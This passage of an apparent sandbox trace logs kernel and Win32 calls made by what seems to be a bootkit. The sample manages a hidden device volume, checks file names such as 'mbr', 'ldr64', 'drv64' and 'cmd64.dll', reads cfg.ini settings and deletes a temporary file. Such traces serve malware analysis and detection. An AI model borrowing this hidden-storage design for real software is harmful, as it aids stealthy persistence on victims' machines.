ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.477] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.477] IdePortDispatch () returned 0x103 [0125.477] KeWaitForMutexObject () returned 0x0 [0125.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.478] KeLeaveCriticalRegion () [0125.478] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.478] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.478] KeEnterCriticalRegion () [0125.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.478] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5e000 [0125.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.478] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.478] IdePortDispatch () returned 0x103 [0125.478] KeWaitForMutexObject () returned 0x0 [0125.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.478] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.478] IdePortDispatch () returned 0x103 [0125.478] KeWaitForMutexObject () returned 0x0 [0125.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.479] KeLeaveCriticalRegion () [0125.479] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.479] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.479] KeEnterCriticalRegion () [0125.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.479] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.479] KeLeaveCriticalRegion () [0125.479] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.479] KeEnterCriticalRegion () [0125.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.479] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.479] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.479] KeLeaveCriticalRegion () [0125.479] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.479] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.479] KeEnterCriticalRegion () [0125.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.479] ExFreePoolWithTag (P=0xfffffa8003bf7270, Tag=0x0) [0125.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.479] KeLeaveCriticalRegion () [0125.479] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.479] ReleaseMutex (hMutex=0xf0) returned 1 [0125.479] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.479] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.479] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.480] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.480] KeEnterCriticalRegion () [0125.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.480] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.480] IdePortDispatch () returned 0x103 [0125.480] KeWaitForMutexObject () returned 0x0 [0125.480] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.480] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.480] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.480] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.480] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.480] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.480] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.480] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.480] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.480] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.480] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.480] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.480] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.480] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.480] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.480] KeLeaveCriticalRegion () [0125.480] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.480] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.480] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.480] KeEnterCriticalRegion () [0125.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.480] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.480] IdePortDispatch () returned 0x103 [0125.481] KeWaitForMutexObject () returned 0x0 [0125.481] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.481] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.481] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.481] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.481] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.481] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.481] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.481] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.481] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.481] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.481] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.481] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.481] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.481] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.481] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.481] KeLeaveCriticalRegion () [0125.481] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.481] ReleaseMutex (hMutex=0x100) returned 1 [0125.481] Sleep (dwMilliseconds=0x2bf20) [0125.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dfdcc50, dwHighDateTime=0x1d24fa4)) [0125.487] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.487] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.487] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.487] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.487] KeEnterCriticalRegion () [0125.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.487] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.487] IdePortDispatch () returned 0x103 [0125.488] KeWaitForMutexObject () returned 0x0 [0125.488] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.488] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.488] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.488] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.488] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.488] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7270 [0125.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.488] KeLeaveCriticalRegion () [0125.488] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.488] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.488] KeEnterCriticalRegion () [0125.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.488] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.488] KeLeaveCriticalRegion () [0125.488] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.488] KeEnterCriticalRegion () [0125.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.488] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.488] IdePortDispatch () returned 0x103 [0125.488] KeWaitForMutexObject () returned 0x0 [0125.488] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.488] KeLeaveCriticalRegion () [0125.488] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.488] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.489] KeEnterCriticalRegion () [0125.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.489] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c61000 [0125.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.489] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.489] IdePortDispatch () returned 0x103 [0125.489] KeWaitForMutexObject () returned 0x0 [0125.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.489] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.489] IdePortDispatch () returned 0x103 [0125.489] KeWaitForMutexObject () returned 0x0 [0125.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.489] KeLeaveCriticalRegion () [0125.489] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.490] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.490] KeEnterCriticalRegion () [0125.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.490] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.490] KeLeaveCriticalRegion () [0125.490] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.490] KeEnterCriticalRegion () [0125.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.490] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.490] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.490] KeLeaveCriticalRegion () [0125.490] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.490] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.490] KeEnterCriticalRegion () [0125.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.490] ExFreePoolWithTag (P=0xfffffa8003bf7270, Tag=0x0) [0125.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.490] KeLeaveCriticalRegion () [0125.490] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.490] ReleaseMutex (hMutex=0xf0) returned 1 [0125.490] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.490] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.490] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.490] KeEnterCriticalRegion () [0125.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.490] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.490] IdePortDispatch () returned 0x103 [0125.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.491] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.491] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.491] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.491] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.491] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8bb0 [0125.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.491] KeLeaveCriticalRegion () [0125.491] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.491] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.491] KeEnterCriticalRegion () [0125.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.491] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.491] KeLeaveCriticalRegion () [0125.491] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.491] KeEnterCriticalRegion () [0125.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.491] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.491] IdePortDispatch () returned 0x103 [0125.491] KeWaitForMutexObject () returned 0x0 [0125.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.491] KeLeaveCriticalRegion () [0125.491] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.491] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.491] KeEnterCriticalRegion () [0125.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.491] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c62000 [0125.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.491] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.491] IdePortDispatch () returned 0x103 [0125.492] KeWaitForMutexObject () returned 0x0 [0125.492] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.492] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.492] IdePortDispatch () returned 0x103 [0125.492] KeWaitForMutexObject () returned 0x0 [0125.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.492] KeLeaveCriticalRegion () [0125.492] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.492] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.492] KeEnterCriticalRegion () [0125.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.493] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.493] KeLeaveCriticalRegion () [0125.493] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.493] KeEnterCriticalRegion () [0125.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.493] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.493] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf8c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.493] KeLeaveCriticalRegion () [0125.493] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.493] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.493] KeEnterCriticalRegion () [0125.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.493] ExFreePoolWithTag (P=0xfffffa8003bf8bb0, Tag=0x0) [0125.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.493] 